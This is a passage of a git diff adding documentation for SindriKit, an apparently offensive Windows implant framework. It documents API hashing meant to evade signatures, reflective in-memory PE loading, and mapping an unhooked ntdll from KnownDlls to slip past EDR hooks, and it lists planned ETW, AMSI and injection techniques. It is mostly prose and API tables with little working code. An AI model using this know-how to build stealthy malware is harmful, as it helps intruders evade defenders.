deallocation: the same `snd_buffer_free` function correctly handles buffers backed by `HeapAlloc`, `VirtualAlloc`, or `MapViewOfFile` by dispatching through the stored callback. + +### Bounds Checking Pipeline + +All bounds validation is implemented as force-inlined functions to eliminate call overhead: + +1. `snd_bounds_check(total_size, offset, size)` — pure arithmetic validation. +2. `snd_buffer_bounds_check(buf, offset, size)` — validates against a tracked `snd_buffer_t`. +3. `snd_ptr_bounds_check(base, total_size, ptr, size)` — validates an arbitrary pointer against a known base region. + +These functions catch both overflow and underflow conditions. The PE parser's `snd_pe_rva_to_ptr` is the primary consumer, rejecting any RVA that would resolve outside the tracked image. + +--- + +## API Hashing + +To eliminate plaintext API strings (like `NtAllocateVirtualMemory` or `kernel32.dll`) from the binary's `.rdata` section, SindriKit pre-computes hashes of all required API names at configure time. The CMake build system runs `scripts/generate_hashes.py` against `config/hashes.ini`, which lists every module and function the framework resolves. + +### Hash Variants + +Three runtime hashing functions are provided to match the contexts in which strings are encountered: + +| Function | Input | Casing | Use Case | +|---|---|---|---| +| `snd_hash` | `const char*` | Case-sensitive | Export names from the PE Export Directory (e.g., `NtAllocateVirtualMemory`) | +| `snd_hash_lower` | `const char*` | Lowercased | DLL names from the PE Import Directory (e.g., `KERNEL32.dll` → lowered) | +| `snd_hash_wide_lower` | `const wchar_t*` | Lowercased | Module names from the PEB `BaseDllName` (UTF-16) | + +The hashing algorithm itself is swappable at configure time via the `SND_HASH_ALGO` CMake variable (e.g., `DJB2`, `FNV1A`). The Python script also generates a randomized compile-time seed per build run, ensuring that hash values are unique across builds and cannot be signature-matched. + +--- + +## Debug Output System + +SindriKit implements a two-tier debug output system controlled by the `SND_DEBUG` and `SND_USE_PRINTF` preprocessor macros: + +| `SND_DEBUG` | `SND_USE_PRINTF` | Output Destination | CRT Required | +|---|---|---|---| +| `0` | N/A | All macros compile to no-ops; zero strings emitted | No | +| `1` | `1` | `stdout` / `stderr` via `fprintf` | Yes | +| `1` | `0` | Windows kernel debugger via `OutputDebugStringA` | Partial (`vsnprintf`) | + +The two primary macros are: +- `SND_DEBUG_PRINT(fmt, ...)` — outputs to the default destination. +- `SND_FDEBUG_PRINT(stream, fmt, ...)` — outputs to a specific file stream (only meaningful when `SND_USE_PRINTF=1`). + +When `SND_DEBUG=0`, both macros expand to empty `do { (void)0; } while(0)` blocks. The compiler strips all format string literals and argument evaluations from the binary entirely. + +--- + +## Disk I/O + +The `snd_buffer_load_from_disk` utility reads an entire file into a heap-allocated `snd_buffer_t`. It uses Win32 `CreateFileA` / `ReadFile` internally and sets the buffer's `free_routine` to `snd_buffer_free_heap` for automatic cleanup. + +This function is used exclusively by the PoC executables to load raw PE payloads from disk. In a production implant, the payload would typically arrive over a network channel and be written directly into a pre-allocated buffer, bypassing disk I/O entirely. diff --git a/docs/config/README.md b/docs/config/README.md new file mode 100644 index 0000000..77843e9 --- /dev/null +++ b/docs/config/README.md @@ -0,0 +1,7 @@ +# Build Configuration + +This directory documents the declarative configuration files consumed by the build system. + +## Table of Contents +- [hashes_manifest.md](hashes_manifest.md) + Detailed specification of the `config/hashes.ini` manifest format, section types, and instructions for adding new domains. diff --git a/docs/config/hashes_manifest.md b/docs/config/hashes_manifest.md new file mode 100644 index 0000000..a804ef0 --- /dev/null +++ b/docs/config/hashes_manifest.md @@ -0,0 +1,60 @@ +# Hash Manifest (`config/hashes.ini`) + +**Location:** `config/hashes.ini` + +This INI-style manifest is the single source of truth for all compile-time API string hashes in SindriKit. The build system evaluates it at configure time via `scripts/generate_hashes.py`, which emits a C header of `#define` macros consumed throughout the framework. + +## Purpose + +Every time SindriKit needs to resolve a Windows API — whether walking the PEB for a module base, parsing an export table for a function address, or matching an import descriptor's DLL name — it compares a runtime-computed hash against a compile-time constant. This manifest defines exactly which strings get pre-hashed. + +## Format Specification + +### Module Sections: `[module::]` + +Groups API names under a specific DLL. The build system generates a hash for both the module name itself and every API listed beneath it. + +```ini +[module::ntdll.dll] +NtAllocateVirtualMemory +NtProtectVirtualMemory +NtFreeVirtualMemory +NtOpenSection +NtMapViewOfSection +NtClose +LdrLoadDll +``` + +This produces: +- `SND_HASH_NTDLL_DLL` — hash of the module name `ntdll.dll` +- `SND_HASH_NTALLOCATEVIRTUALMEMORY` — hash of the export name +- ... one per API listed. + +### Extras Section: `[extras]` + +Standalone strings that do not belong to any module (e.g., registry key names, object manager paths). No module hash is generated for this section — only individual string hashes. + +```ini +[extras] +\\KnownDlls\\ntdll.dll +``` + +### Comments and Whitespace + +Lines beginning with `#` are comments and are ignored by the parser. Blank lines are ignored. + +## Adding a New Domain + +When implementing a new SindriKit domain that requires runtime API resolution: + +1. Add a new `[module::]` section for the target DLL. +2. List every API the domain implementation calls beneath it. +3. Rebuild. One `cmake --build` regenerates the entire header automatically. + +```ini +# -- user32.dll --------------------------------------------------------------- +# APIs required by a future GUI evasion domain. +[module::user32.dll] +MessageBoxA +FindWindowA +``` diff --git a/docs/domains/README.md b/docs/domains/README.md new file mode 100644 index 0000000..e1eaa5d --- /dev/null +++ b/docs/domains/README.md @@ -0,0 +1,17 @@ +# Operational Domains + +This directory categorizes the actionable offensive capabilities of SindriKit into specialized functional areas. + +> [!IMPORTANT] +> **Domain Independence** +> Each domain must remain entirely self-contained. A loader cannot directly depend on an evasion module; they interact exclusively through the injected primitive interfaces. + +## Table of Contents +- [primitives/](primitives/) + The foundational extraction, memory, and resolution techniques that all other domains rely on. +- [loaders/](loaders/) + Mechanisms for bootstrapping and executing code payloads entirely in memory (e.g., Reflective PE Loading). +- [evasion/](evasion/) + *Placeholder:* Future domain for heuristic evasion, memory scanning bypasses, and sleep obfuscation. +- [injection/](injection/) + *Placeholder:* Future domain for remote process targeting, thread hijacking, and payload injection. diff --git a/docs/domains/evasion/README.md b/docs/domains/evasion/README.md new file mode 100644 index 0000000..af3e4fd --- /dev/null +++ b/docs/domains/evasion/README.md @@ -0,0 +1,6 @@ +# Evasion Domain + +This directory is reserved for future capabilities focused on heuristic evasion, memory scanning bypasses, and sleep obfuscation. + +## Table of Contents +- *No documentation currently exists. Check back later.* diff --git a/docs/domains/evasion/api_reference.md b/docs/domains/evasion/api_reference.md new file mode 100644 index 0000000..f97a52c --- /dev/null +++ b/docs/domains/evasion/api_reference.md @@ -0,0 +1,6 @@ +# Evasion API Reference + +> [!NOTE] +> The evasion domain is planned for a future release of SindriKit. This page will be populated when the evasion context and its associated primitives are implemented. + +See [techniques.md](techniques.md) for a high-level overview of planned capabilities. diff --git a/docs/domains/evasion/techniques.md b/docs/domains/evasion/techniques.md new file mode 100644 index 0000000..a89e541 --- /dev/null +++ b/docs/domains/evasion/techniques.md @@ -0,0 +1,17 @@ +# Evasion Techniques + +> [!NOTE] +> The evasion domain is planned for a future release of SindriKit. This page will document defensive evasion primitives as they are implemented. + +## Overview + +The evasion domain will expose standalone, context-driven offensive evasion capabilities that follow the same State Machine and Dependency Injection patterns used throughout the toolkit. + +Planned capabilities include: + +- **ETW Patching** — Disabling Event Tracing for Windows telemetry at the userland level by patching `EtwEventWrite` within the process's own ntdll copy. +- **AMSI Bypass** — Neutralizing the Antimalware Scan Interface within a process to prevent in-memory script and buffer scanning. +- **Call Stack Spoofing** — Forging the userland call stack prior to making sensitive API calls (e.g., memory allocation) to avoid stack-based heuristics used by EDRs. +- **Sleep Obfuscation** — Encrypting the implant's memory regions while sleeping to evade periodic memory scanner heuristics. + +Each evasion capability will be initialized via a dedicated context struct and will expose its execution mechanics through the standard injected `mem_api` / `mod_api` DI tables. diff --git a/docs/domains/injection/README.md b/docs/domains/injection/README.md new file mode 100644 index 0000000..0adf658 --- /dev/null +++ b/docs/domains/injection/README.md @@ -0,0 +1,6 @@ +# Injection Domain + +This directory is reserved for future capabilities focused on remote process targeting, thread hijacking, and inter-process payload injection. + +## Table of Contents +- *No documentation currently exists. Check back later.* diff --git a/docs/domains/injection/api_reference.md b/docs/domains/injection/api_reference.md new file mode 100644 index 0000000..5361267 --- /dev/null +++ b/docs/domains/injection/api_reference.md @@ -0,0 +1,6 @@ +# Injection API Reference + +> [!NOTE] +> The injection domain is planned for a future release of SindriKit. This page will be populated when the injection context (`snd_injector_ctx_t`) and its associated primitives are implemented. + +See [techniques.md](techniques.md) for a high-level overview of planned capabilities. diff --git a/docs/domains/injection/techniques.md b/docs/domains/injection/techniques.md new file mode 100644 index 0000000..808e591 --- /dev/null +++ b/docs/domains/injection/techniques.md @@ -0,0 +1,17 @@ +# Injection Techniques + +> [!NOTE] +> The injection domain is planned for a future release of SindriKit. This page will document process injection capabilities as they are implemented. + +## Overview + +The injection domain will expose process injection capabilities that follow the same State Machine and Dependency Injection patterns used throughout the toolkit. A `snd_injector_ctx_t` context will manage the progression of injection operations through discrete, trackable stages. + +Planned capabilities include: + +- **Classic Remote Injection** — Standard `VirtualAllocEx` / `WriteProcessMemory` / `CreateRemoteThread` injection, exposed through the injected `mem_api` so the allocation step can be transparently replaced with a direct `NtAllocateVirtualMemory` syscall. +- **Process Hollowing** — Unmapping a legitimate process's image and replacing it with a payload image, applying relocations and resolving imports in the remote process context. +- **Thread Hijacking** — Suspending a target thread, overwriting its context to redirect execution to a shellcode or reflectively-loaded payload, then resuming. +- **APC Queue Injection** — Queuing an Asynchronous Procedure Call to an alertable thread in the target process using `NtQueueApcThread`. + +Each technique will rely on the existing PE parser and reflective loading pipeline from the loaders domain, reusing all established primitives rather than re-implementing them. diff --git a/docs/domains/loaders/README.md b/docs/domains/loaders/README.md new file mode 100644 index 0000000..4eb79a5 --- /dev/null +++ b/docs/domains/loaders/README.md @@ -0,0 +1,9 @@ +# Loaders Domain + +This directory contains implementations for bootstrapping code into memory. + +## Table of Contents +- [techniques.md](techniques.md) + Provides a stage-by-stage breakdown of the Reflective PE Loading pipeline and the KnownDlls mapping strategy. +- [api_reference.md](api_reference.md) + Public API documentation for the reflective loader engine, execution chain wrapper functions, and the KnownDlls loader configurations. diff --git a/docs/domains/loaders/api_reference.md b/docs/domains/loaders/api_reference.md new file mode 100644 index 0000000..0ed87eb --- /dev/null +++ b/docs/domains/loaders/api_reference.md @@ -0,0 +1,264 @@ +# Loaders: API Reference + +This page documents the full public API surface of the loaders domain. Headers live under `include/sindri/loaders/`. + +--- + +## Reflective Loader Chain (`sindri/loaders/reflective/chain.h`) + +The chain functions are the primary entry points for reflective loading. They wrap the individual engine functions into a sequential pipeline, advancing the loader context's state machine automatically. + +### `snd_prepare_reflective_image` + +Executes the full allocation and fixup chain in one call: +1. Architecture compatibility check +2. Allocate virtual memory and copy PE sections +3. Apply base relocations +4. Resolve imports and patch the IAT +5. Apply per-section memory protections +6. Execute TLS callbacks + +On success, the context is left in `SND_STAGE_READY_FOR_EXECUTION`. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Initialized loader context with `raw_source`, `mem_api`, and `mod_api` set | + +**Returns:** `snd_status_t` — `SND_OK` on success, or the status of the first failing stage. + +--- + +### `snd_execute_reflective_image` + +Resolves the entry point and calls it. Requires the context to be in `SND_STAGE_READY_FOR_EXECUTION`. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Prepared loader context | + +**Returns:** `snd_status_t` — `SND_OK` on success. + +--- + +### `snd_detach_reflective_image` + +Resets the loader context state. Does not free allocated virtual memory — call `snd_free_mapped_image` first if cleanup is required. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context to reset | + +**Returns:** `void` + +--- + +## Reflective Loader Engine (`sindri/loaders/reflective/engine.h`) + +The engine functions expose each loading stage individually. These are utilized when fine-grained control over the pipeline is required — for example, to pause between stages for sleep obfuscation, or to inspect context state mid-operation. + +### `snd_pe_target_t` + +Structure tracking the state of the allocated target region during the loading process. + +| Field | Type | Description | +|---|---|---| +| `virtual_base` | `LPVOID` | Allocated virtual memory base, populated after `SND_STAGE_MEM_ALLOCATED` | +| `delta_offset` | `LONG_PTR` | Relocation delta (actual base minus preferred `ImageBase`) | +| `entry_point` | `LPVOID` | Resolved entry point address | +| `allocated_size` | `SIZE_T` | Total size of the virtual allocation | + +--- + +### `snd_loader_ctx_t` + +The central context structure for a reflective load operation. + +| Field | Type | Description | +|---|---|---| +| `raw_source` | `const snd_buffer_t*` | Raw payload buffer (the on-disk PE bytes) | +| `pe` | `snd_pe_parser_t` | Parsed PE context, populated after stage `SND_STAGE_PARSED` | +| `target` | `snd_pe_target_t` | Target state block containing allocated memory and delta data | +| `stage` | `snd_loader_stage_t` | Current state machine position | +| `mem_api` | `const snd_memory_api_t*` | Injected memory primitives | +| `mod_api` | `const snd_module_api_t*` | Injected module primitives | + +--- + +### `snd_compatibility_check` + +Validates that the payload's architecture matches the host process bitness. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context with a populated `pe` field | + +**Returns:** `snd_status_t` — `SND_OK` on match, `SND_STATUS_ARCH_MISMATCH` otherwise. + +--- + +### `snd_allocate_and_copy_image` + +Allocates `SizeOfImage` bytes via `ctx->mem_api->alloc` and copies PE sections from their raw file offsets to their virtual addresses. Populates `ctx->target.virtual_base` and `ctx->target.allocated_size`. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context with a populated `pe` field | + +**Returns:** `snd_status_t` — `SND_OK` on success, or an allocation/copy error. + +--- + +### `snd_apply_relocations` + +Applies base relocation fixups. Computes the delta between the actual allocated base and the PE's preferred `ImageBase`, then patches each pointer-sized field in the `.reloc` blocks. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context with `target.virtual_base` populated | + +**Returns:** `snd_status_t` — `SND_OK` on success, or a relocation error (e.g., `SND_STATUS_RELOCATION_PATCH_OUT_OF_RANGE`). + +--- + +### `snd_resolve_imports` + +Walks the Import Descriptor table. For each imported DLL, calls `ctx->mod_api->load_library`. For each thunk, calls `ctx->mod_api->get_proc_address` (by name) or resolves by ordinal. Writes resolved addresses into the IAT. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context with sections mapped and relocated | + +**Returns:** `snd_status_t` — `SND_OK` on success, or an import resolution error. + +--- + +### `snd_apply_memory_protections` + +Iterates sections and sets per-section page protections via `ctx->mem_api->protect`, based on each section's `Characteristics` flags (`MEM_EXECUTE`, `MEM_READ`, `MEM_WRITE`). + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context with sections mapped and imports resolved | + +**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_PROTECTION_UPDATE_FAILED` on error. + +--- + +### `snd_execute_tls_callbacks` + +Locates the TLS data directory and calls each `PIMAGE_TLS_CALLBACK` in the callback array. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context with protections applied | +| `reason` | `DWORD` | Callback reason code (e.g., `DLL_PROCESS_ATTACH`) | + +**Returns:** `void` + +--- + +### `snd_get_entry_point` + +Resolves the entry point address from `OptionalHeader.AddressOfEntryPoint` and stores it in `ctx->target.entry_point`. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context | + +**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_ENTRY_POINT_NOT_FOUND` if invalid. + +--- + +### `snd_get_proc_address` + +Resolves an exported symbol from the reflectively loaded image by walking its export table. Does not require the image to be registered in the PEB. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context of the loaded image | +| `func_name` | `const char*` | Plaintext name of the target export | +| `func_addr_out` | `FARPROC*` | Receives the resolved export address | + +**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_EXPORT_NOT_FOUND` if not found. + +--- + +### `snd_free_mapped_image` + +Frees the virtual memory region allocated for the mapped image via `ctx->mem_api->free`. + +| Parameter | Type | Description | +|---|---|---| +| `ctx` | `snd_loader_ctx_t*` | Loader context with a valid `target.virtual_base` | + +**Returns:** `void` + +--- + +### `SND_CALL_EXPORT` + +Resolves and calls a named export from the loaded image. The return value of the export is discarded. + +```c +SND_CALL_EXPORT(ctx, name, signature, status_out, ...) +``` + +| Parameter | Description | +|---|---| +| `ctx` | Pointer to the initialized loader context | +| `name` | Plaintext string name of the target export | +| `signature` | Function pointer type to cast the export to (e.g., `void (*)(void)`) | +| `status_out` | A `snd_status_t` variable that receives the resolution result | +| `...` | Arguments to pass to the export | + +--- + +### `SND_CALL_EXPORT_RET` + +Resolves and calls a named export, capturing its return value. + +```c +SND_CALL_EXPORT_RET(ctx, name, signature, status_out, ret_out, ...) +``` + +| Parameter | Description | +|---|---| +| `ctx` | Pointer to the initialized loader context | +| `name` | Plaintext string name of the target export | +| `signature` | Function pointer type to cast the export to | +| `status_out` | A `snd_status_t` variable that receives the resolution result | +| `ret_out` | Variable to store the export's return value | +| `...` | Arguments to pass to the export | + +--- + +## KnownDlls Loader (`sindri/loaders/knowndlls/knowndlls.h`) + +### `SND_TARGET_KNOWNDLLS_DIR` + +**Value:** `L"\\KnownDlls\\"` (x64) or `L"\\KnownDlls32\\"` (x86) + +The architecture-dependent Object Manager directory path where pristine system DLL section objects are cached by `smss.exe`. + +--- + +### `snd_knowndlls_config_t` + +Configuration structure for the KnownDlls loader mapping technique. Two pre-built instances are exported globally: + +- `snd_knowndlls_win`: Uses Win32 implementations (e.g., `NtOpenSection` via `GetProcAddress`). +- `snd_knowndlls_native`: Uses direct syscall implementations. + +--- + +### `snd_map_knowndll` + +Opens the named DLL's section object from the `\KnownDlls` Object Manager directory and maps a view of it into the current process. + +| Parameter | Type | Description | +|---|---|---| +| `config` | `const snd_knowndlls_config_t*` | Pointer to the injected API configuration (`&snd_knowndlls_win` or `&snd_knowndlls_native`) | +| `dll_name` | `const wchar_t*` | Exact DLL name as it appears in `\KnownDlls` (e.g., `L"ntdll.dll"`) | +| `out_base_address` | `PVOID*` | Receives the base address of the mapped section | + +**Returns:** `snd_status_t` — `SND_OK` on success. diff --git a/docs/domains/loaders/techniques.md b/docs/domains/loaders/techniques.md new file mode 100644 index 0000000..774bdb1 --- /dev/null +++ b/docs/domains/loaders/techniques.md @@ -0,0 +1,75 @@ +# Loaders: Techniques + +The loaders domain implements two distinct mechanisms for getting code into memory: Reflective PE Loading, which maps and executes a full PE image entirely in-process, and KnownDlls Mapping, which retrieves a clean, unhooked system DLL directly from the Windows Object Manager. Both are foundational to SindriKit's bootstrapping model and are built on top of the primitives domain's injected OS API tables. + +--- + +## Reflective PE Loading + +Reflective loading is the technique of mapping and executing a PE image (EXE or DLL) entirely in memory without invoking the Windows loader. No file touches disk during execution. The loaded image does not appear in the PEB's `InMemoryOrderModuleList`, leaving no `LoadLibrary` trace detectable via standard loader telemetry. + +The concept was first published by Stephen Fewer in 2008 and has since become a foundational primitive in virtually all serious in-memory execution frameworks. + +**Original research:** [Reflective DLL Injection](https://github.com/stephenfewer/ReflectiveDLLInjection) by Stephen Fewer (2008) + +### The Loading Pipeline + +SindriKit's reflective loader is entirely decoupled from the Win32 API. Every step operates through the `mem_api` and `mod_api` pointers injected into the `snd_loader_ctx_t` at initialization time. Swapping those pointers changes the entire footprint — from fully Win32-visible to completely syscall-direct — without touching a single line of loader logic. + +The pipeline proceeds through the following stages, each tracked by `snd_loader_stage_t`: + +#### 1. Parse (`SND_STAGE_PARSED`) +The raw payload buffer is passed to the PE parser (`snd_pe_parse`). The parser validates the DOS signature (`MZ`), the NT signature (`PE\0\0`), and the Optional Header magic (`0x10B` for PE32, `0x20B` for PE32+). On success, the parsed context — NT headers pointer, section table pointer, `is_64bit` flag — is stored inside `ctx.pe`. + +#### 2. Architecture Check +`snd_compatibility_check` validates that the payload's bitness matches the host process. A 64-bit payload in a 32-bit process is rejected with `SND_STATUS_ARCH_MISMATCH` before any allocation occurs. + +#### 3. Allocate and Copy Sections (`SND_STAGE_MEM_ALLOCATED`, `SND_STAGE_SECTIONS_MAPPED`) +`snd_allocate_and_copy_image` calls `ctx->mem_api->alloc` to reserve `SizeOfImage` bytes. It then copies each section from the raw file layout (using `PointerToRawData` as the source offset) to its virtual destination (using `VirtualAddress` as the target offset). Sections not present in the file (zero `SizeOfRawData`) are zeroed in the mapped image. + +#### 4. Apply Base Relocations (`SND_STAGE_RELOCATED`) +`snd_apply_relocations` computes the delta between the actual allocated base and the PE's preferred `ImageBase`. It walks `IMAGE_BASE_RELOCATION` blocks in the `.reloc` section and, for each entry of type `IMAGE_REL_BASED_DIR64` (x64) or `IMAGE_REL_BASED_HIGHLOW` (x86), adds the delta to the embedded pointer. Each patch is bounds-checked before application. + +If the image was allocated at its preferred base (delta is zero), this step is a no-op. + +#### 5. Resolve Imports (`SND_STAGE_IMPORTS_RESOLVED`) +`snd_resolve_imports` walks the `IMAGE_IMPORT_DESCRIPTOR` table. For each descriptor, it calls `ctx->mod_api->load_library` to load the required DLL, then iterates the Import Name Table (INT). Each thunk is resolved: ordinal-based imports use the ordinal directly; name-based imports call `ctx->mod_api->get_proc_address`. Resolved addresses are written into the Import Address Table (IAT). + +#### 6. Apply Memory Protections (`SND_STAGE_READY_FOR_EXECUTION`) +`snd_apply_memory_protections` iterates sections and calls `ctx->mem_api->protect` to set per-section page protections based on `Characteristics` flags: +- `IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ` → `PAGE_EXECUTE_READ` +- `IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE` → `PAGE_READWRITE` +- `IMAGE_SCN_MEM_READ` only → `PAGE_READONLY` + +No section is mapped `PAGE_EXECUTE_READWRITE` unless explicitly demanded by the image's section flags, minimizing memory scanner surface. + +#### 7. TLS Callbacks +`snd_execute_tls_callbacks` checks for a TLS data directory. If present, it iterates the `PIMAGE_TLS_CALLBACK` array and calls each callback with the virtual base and the specified reason (e.g., `DLL_PROCESS_ATTACH`). + +#### 8. Execute (`SND_STAGE_EXECUTED`) +`snd_execute_reflective_image` resolves the entry point (`snd_get_entry_point`) and calls it. For DLLs, the entry point is `DllMain(hModule, DLL_PROCESS_ATTACH, NULL)`. For EXEs, it is the `AddressOfEntryPoint`-derived function. + +--- + +## KnownDlls Mapping + +When operating in native mode, SindriKit needs a clean `ntdll.dll` to extract SSNs from. The PEB-resident copy is the exact target of EDR userland hooking — its stubs may already be patched. Retrieving a fresh file from disk is detectable. The Windows Object Manager provides a cleaner alternative. + +At boot, the Session Manager (`smss.exe`) creates pre-mapped, read-only section objects for core system DLLs under the `\KnownDlls` Object Manager directory. These sections are snapshots taken before any userland security software is initialized. Opening `\KnownDlls\ntdll.dll` via `NtOpenSection` and mapping it into the current process with `NtMapViewOfSection` yields a pristine image whose text section has never been touched by EDR hooks. + +The base address of this clean mapping is then fed directly to `snd_set_ntdll()` (from `sindri/primitives/ntdll.h`), ensuring that all subsequent SSN resolution and native module lookups operate on unmodified stubs. + +```c +PVOID clean_ntdll = NULL; +snd_status_t status = snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &clean_ntdll); +if (status.code == SND_SUCCESS) { + snd_set_ntdll(clean_ntdll); +} +``` + +SindriKit exposes two configurations for the underlying section API calls: +- `snd_knowndlls_win`: uses Win32 wrappers — suitable for early bootstrapping before any syscall pipeline is configured. +- `snd_knowndlls_native`: uses raw NT functions directly — a fully Win32-free bootstrapping path once the syscall pipeline is ready. + +> [!WARNING] +> `snd_map_knowndll()` requires a configuration struct (`&snd_knowndlls_win` or `&snd_knowndlls_native`) to dictate how it opens the section handles. If native mode is selected, the operator must ensure direct syscall primitives are manually bootstrapped elsewhere before attempting the map. diff --git a/docs/domains/primitives/README.md b/docs/domains/primitives/README.md new file mode 100644 index 0000000..c2f1253 --- /dev/null +++ b/docs/domains/primitives/README.md @@ -0,0 +1,30 @@ +# Primitives Domain + +The primitives domain forms the absolute foundation of SindriKit. Everything built on top of the framework (reflective loaders, injectors, evasion modules...) ultimately relies on one of the mechanisms documented here. + +> [!IMPORTANT] +> **Zero Footprint Constraint:** Primitive implementations must avoid introducing new dependencies. For example, module resolution must occur via PEB walking rather than invoking `GetModuleHandle`. + +## Table of Contents +- [execution/](execution/) + Techniques and APIs responsible for executing arbitrary memory (FFI) or transitioning across execution boundaries (Heaven's Gate). +- [memory/](memory/) + The foundational paradigms for interacting with host process memory (Native vs Win32 allocation). +- [modules/](modules/) + Techniques for interacting with loaded DLLs and extracting function addresses via PEB traversal. +- [syscalls/](syscalls/) + The framework's advanced system for bypassing userland EDR hooks via a cascading fallback mechanism. + +--- + +## Global Primitives (`sindri/primitives/ntdll.h`) + +SindriKit maintains global state for the `ntdll.dll` base address. This address is used ubiquitously by native components (like the syscall resolver and the native module API) to extract clean stubs or parse export tables without relying on repetitive PEB lookups or the potentially hooked PEB-resident image. + +### `snd_set_ntdll` +Sets the globally cached base address of `ntdll.dll`. +- **`ntdll_base`**: Base address to cache. Typically obtained via KnownDlls mapping or PEB walking. + +### `snd_get_ntdll` +Retrieves the globally cached base address. +- **Returns:** `PVOID` The base address, or `NULL` if not set. diff --git a/docs/domains/primitives/execution/README.md b/docs/domains/primitives/execution/README.md new file mode 100644 index 0000000..997ba16 --- /dev/null +++ b/docs/domains/primitives/execution/README.md @@ -0,0 +1,11 @@ +# Execution Primitives + +This directory contains techniques and API references for executing arbitrary memory pointers and transitioning across OS bitness boundaries. + +## Table of Contents +- [ffi.md](ffi.md) + Details the MASM assembly bridges used to invoke dynamically resolved function pointers. +- [heavens_gate.md](heavens_gate.md) + Explains the transition from a 32-bit WoW64 process into native 64-bit mode using the `0x33` segment selector. +- [api_reference.md](api_reference.md) + Public API documentation for the dynamic execution and Heaven's Gate functions. diff --git a/docs/domains/primitives/execution/api_reference.md b/docs/domains/primitives/execution/api_reference.md new file mode 100644 index 0000000..760dac1 --- /dev/null +++ b/docs/domains/primitives/execution/api_reference.md @@ -0,0 +1,44 @@ +# Execution: API Reference + +This page documents the public API surface for execution boundary transitions and dynamic invocation. + +--- + +## Dynamic Invocation (`sindri/primitives/ffi.h`) + +### `snd_execute_dynamic` + +Invokes an arbitrary resolved function pointer at runtime using a generic argument array. Handles all calling convention requirements (register placement, stack alignment, shadow space) natively in MASM. + +| Parameter | Type | Description | +|---|---|---| +| `pFunctionAddress` | `PVOID` | Target function pointer; returns 0 immediately if NULL | +| `dwArgCount` | `DWORD` | Number of arguments in `pArgs`; may be 0 | +| `pArgs` | `const UINT_PTR*` | Array of `dwArgCount` arguments; may be NULL if count is 0 | + +**Returns:** `UINT_PTR` — the return value of the invoked function, or 0 on error. + +--- + +## Heaven's Gate (`sindri/primitives/heavens_gate.h`) + +### `snd_is_wow64` + +Checks whether the current 32-bit process is executing under WoW64 by reading the `WOW32Reserved` field directly from the Thread Environment Block (TEB). No Win32 API calls are made. + +**Returns:** `BOOL` — `TRUE` if running under WoW64, `FALSE` otherwise. + +--- + +### `snd_hg_execute_64` + +Transitions to 64-bit mode via the `0x33` segment selector and invokes the specified 64-bit function. + +| Parameter | Type | Description | +|---|---|---| +| `pFunctionAddress` | `UINT64` | 64-bit virtual address of the target function | +| `dwArgCount` | `DWORD` | Number of 64-bit arguments (Max: 6) | +| `pArgs` | `const UINT64*` | Array of 64-bit arguments | +| `pResult` | `UINT64*` | Receives the 64-bit return value (`RAX`) | + +**Returns:** `snd_status_t` — `SND_OK` on success, or an error if the process is not running under WOW64. diff --git a/docs/domains/primitives/execution/ffi.md b/docs/domains/primitives/execution/ffi.md new file mode 100644 index 0000000..47bc382 --- /dev/null +++ b/docs/domains/primitives/execution/ffi.md @@ -0,0 +1,22 @@ +# Dynamic Invocation FFI + +The Foreign Function Interface (FFI) primitives provide the capability to invoke an arbitrary, dynamically resolved function pointer at runtime using a generic array of arguments. This is primarily required by reflective loaders to call exports (like `DllMain`) from an in-memory PE image where the exact function signature is completely unknown at compile-time. + +## Architecture-Specific Bridges + +Calling an arbitrary function pointer in C typically requires casting it to a strictly typed signature. SindriKit implements architecture-specific MASM bridges to bypass this requirement and dynamically manipulate the stack and registers. + +### x64 Implementation +The `snd_execute_dynamic` primitive for x64 is implemented as a MASM assembly bridge that strictly adheres to the Microsoft x64 calling convention: +1. It extracts the first four arguments from the provided array and places them into the fast-call registers: `RCX`, `RDX`, `R8`, and `R9`. +2. Any remaining arguments (argument 5 and beyond) are spilled onto the stack above the mandatory 32-byte shadow space. +3. The bridge forcefully ensures the stack pointer (`RSP`) remains 16-byte aligned before issuing the final `CALL` instruction, preventing fatal `EXCEPTION_DATATYPE_MISALIGNMENT` crashes that frequently plague unstable redteam loaders. + +### x86 Implementation +The 32-bit x86 implementation operates differently: +1. It iterates through the argument array in reverse order, pushing each argument sequentially onto the stack. +2. It invokes the target pointer. +3. Crucially, the bridge records the stack pointer (`ESP`) before pushing arguments and restores it immediately after the call returns. This provides universal support for both `__cdecl` (caller cleans up) and `__stdcall` (callee cleans up) targets without requiring prior knowledge of the target's exact calling convention. + +## Type Punning +Internally, the framework passes function pointers through `UINT_PTR` variables rather than explicit function pointer types to suppress MSVC C4152 compiler warnings, adhering to strict zero-warning compilation policies. diff --git a/docs/domains/primitives/execution/heavens_gate.md b/docs/domains/primitives/execution/heavens_gate.md new file mode 100644 index 0000000..c360854 --- /dev/null +++ b/docs/domains/primitives/execution/heavens_gate.md @@ -0,0 +1,20 @@ +# Heaven's Gate + +Heaven's Gate is a specialized execution primitive for transitioning from a 32-bit WoW64 process into native 64-bit mode by manipulating the CPU segment selectors. + +## The WoW64 Boundary + +When a 32-bit application executes on a 64-bit Windows OS, it runs inside the Windows-on-Windows (WoW64) subsystem. The WoW64 layer acts as an emulator, intercepting 32-bit API calls, thunking their arguments into 64-bit formats, and transitioning execution to the 